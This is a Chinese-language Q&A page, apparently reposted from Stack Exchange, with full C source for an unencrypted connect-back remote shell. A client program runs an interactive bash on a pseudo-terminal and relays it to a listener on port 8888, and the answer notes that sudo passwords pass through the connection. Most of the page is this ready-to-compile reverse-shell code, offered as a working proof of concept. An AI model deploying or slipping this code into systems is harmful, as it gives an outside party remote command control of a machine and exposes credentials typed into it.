You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何将PTY Shell转化为支持交互与sudo认证的远程Shell?

实现支持交互式操作与sudo认证的无加密远程Shell POC

现有代码的核心问题

  • 客户端:仅实现从socket到本地STDIN的单向数据转发,未将PTY主设备的输出回传服务端;waitpid在死循环后永远无法执行;未处理PTY终端属性同步,导致交互式程序无法正常工作。
  • 服务端:accept后仅执行单次读写,未持续双向转发数据;未处理终端属性(如echo模式、窗口大小),sudo需要有效tty环境,现有代码无法满足密码输入需求。

修正后的客户端代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <termios.h>
#include <pty.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 1024

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <server_ip> <port>\n", argv[0]);
        return 1;
    }

    // 初始化客户端socket并连接服务端
    int client_socket = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server_addr = {0};
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(atoi(argv[2]));
    inet_pton(AF_INET, argv[1], &server_addr.sin_addr);

    if (connect(client_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("connect failed");
        return 1;
    }

    int master, slave;
    // 创建伪终端
    if (openpty(&master, &slave, NULL, NULL, NULL) != 0) {
        perror("openpty failed");
        close(client_socket);
        return 1;
    }

    pid_t pid = fork();
    if (pid < 0) {
        perror("fork failed");
        close(client_socket);
        close(master);
        close(slave);
        return 1;
    } else if (pid == 0) {
        // 子进程:绑定shell到PTY从设备
        close(master);
        setsid();
        ioctl(slave, TIOCSCTTY, 0); // 将PTY设为当前会话控制终端

        // 重定向标准IO到PTY
        dup2(slave, STDIN_FILENO);
        dup2(slave, STDOUT_FILENO);
        dup2(slave, STDERR_FILENO);
        close(slave);

        // 启动交互式shell
        execl("/bin/bash", "bash", "-i", NULL);
        perror("execl failed");
        exit(1);
    } else {
        // 父进程:双向转发socket与PTY数据
        close(slave);
        fd_set read_fds;
        char buffer[BUFFER_SIZE];
        ssize_t bytes;

        // 临时修改本地终端属性,避免回显混乱
        struct termios orig_termios;
        tcgetattr(STDIN_FILENO, &orig_termios);
        struct termios raw_termios = orig_termios;
        raw_termios.c_lflag &= ~(ECHO | ICANON);
        tcsetattr(STDIN_FILENO, TCSANOW, &raw_termios);

        while (1) {
            FD_ZERO(&read_fds);
            FD_SET(client_socket, &read_fds);
            FD_SET(master, &read_fds);
            int max_fd = (client_socket > master) ? client_socket : master;

            int ret = select(max_fd + 1, &read_fds, NULL, NULL, NULL);
            if (ret < 0) {
                perror("select failed");
                break;
            }

            // 服务端数据 -> PTY主设备
            if (FD_ISSET(client_socket, &read_fds)) {
                bytes = read(client_socket, buffer, BUFFER_SIZE);
                if (bytes <= 0) break;
                write(master, buffer, bytes);
            }

            // PTY主设备输出 -> 服务端
            if (FD_ISSET(master, &read_fds)) {
                bytes = read(master, buffer, BUFFER_SIZE);
                if (bytes <= 0) break;
                write(client_socket, buffer, bytes);
            }
        }

        // 恢复本地终端属性
        tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);

        // 等待子进程退出
        int status;
        waitpid(pid, &status, 0);
        close(master);
        close(client_socket);
    }

    return 0;
}

修正后的服务端代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <termios.h>
#include <netinet/in.h>
#include <errno.h>

#define BUFFER_SIZE 1024
#define PORT 8888

void handle_client(int client_socket) {
    fd_set read_fds;
    char buffer[BUFFER_SIZE];
    ssize_t bytes;

    // 临时修改本地终端属性,避免回显混乱
    struct termios orig_termios;
    tcgetattr(STDIN_FILENO, &orig_termios);
    struct termios raw_termios = orig_termios;
    raw_termios.c_lflag &= ~(ECHO | ICANON);
    tcsetattr(STDIN_FILENO, TCSANOW, &raw_termios);

    while (1) {
        FD_ZERO(&read_fds);
        FD_SET(client_socket, &read_fds);
        FD_SET(STDIN_FILENO, &read_fds);
        int max_fd = (client_socket > STDIN_FILENO) ? client_socket : STDIN_FILENO;

        int ret = select(max_fd + 1, &read_fds, NULL, NULL, NULL);
        if (ret < 0) {
            perror("select failed");
            break;
        }

        // 本地输入 -> 客户端
        if (FD_ISSET(STDIN_FILENO, &read_fds)) {
            bytes = read(STDIN_FILENO, buffer, BUFFER_SIZE);
            if (bytes <= 0) break;
            write(client_socket, buffer, bytes);
        }

        // 客户端数据 -> 本地终端
        if (FD_ISSET(client_socket, &read_fds)) {
            bytes = read(client_socket, buffer, BUFFER_SIZE);
            if (bytes <= 0) break;
            write(STDOUT_FILENO, buffer, bytes);
        }
    }

    // 恢复本地终端属性
    tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
    close(client_socket);
}

int main() {
    int server_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        perror("socket failed");
        return 1;
    }

    // 解决端口占用问题
    int opt = 1;
    if (setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {
        perror("setsockopt failed");
        close(server_socket);
        return 1;
    }

    struct sockaddr_in server_addr = {0};
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(PORT);

    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("bind failed");
        close(server_socket);
        return 1;
    }

    if (listen(server_socket, 5) < 0) {
        perror("listen failed");
        close(server_socket);
        return 1;
    }

    printf("Server listening on port %d\n", PORT);

    while (1) {
        struct sockaddr_in client_addr;
        socklen_t addr_size = sizeof(client_addr);
        int client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &addr_size);
        if (client_socket < 0) {
            perror("accept failed");
            continue;
        }

        printf("New client connected\n");

        // 子进程处理客户端,支持多连接
        pid_t pid = fork();
        if (pid < 0) {
            perror("fork failed");
            close(client_socket);
            continue;
        } else if (pid == 0) {
            close(server_socket);
            handle_client(client_socket);
            exit(0);
        } else {
            close(client_socket);
        }
    }

    close(server_socket);
    return 0;
}

关键实现要点

  • PTY(伪终端)的使用:客户端通过openpty创建伪终端,将shell绑定到PTY从设备,让shell认为自己运行在真实终端上,满足sudo、vim、nano等程序的tty依赖。
  • 双向数据转发:通过select监听多个文件描述符,实现socket与终端/PTY的双向实时数据传输,保证交互式操作的流畅性。
  • 终端属性处理:临时禁用本地终端的echo和canon模式,避免输入内容重复回显;操作结束后恢复原属性,防止本地终端异常。
  • sudo支持:PTY提供了有效tty环境,sudo会正常弹出密码输入提示,输入的密码通过PTY和socket转发完成认证。

内容的提问来源于stack exchange,提问作者RAT

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.09 10:45:18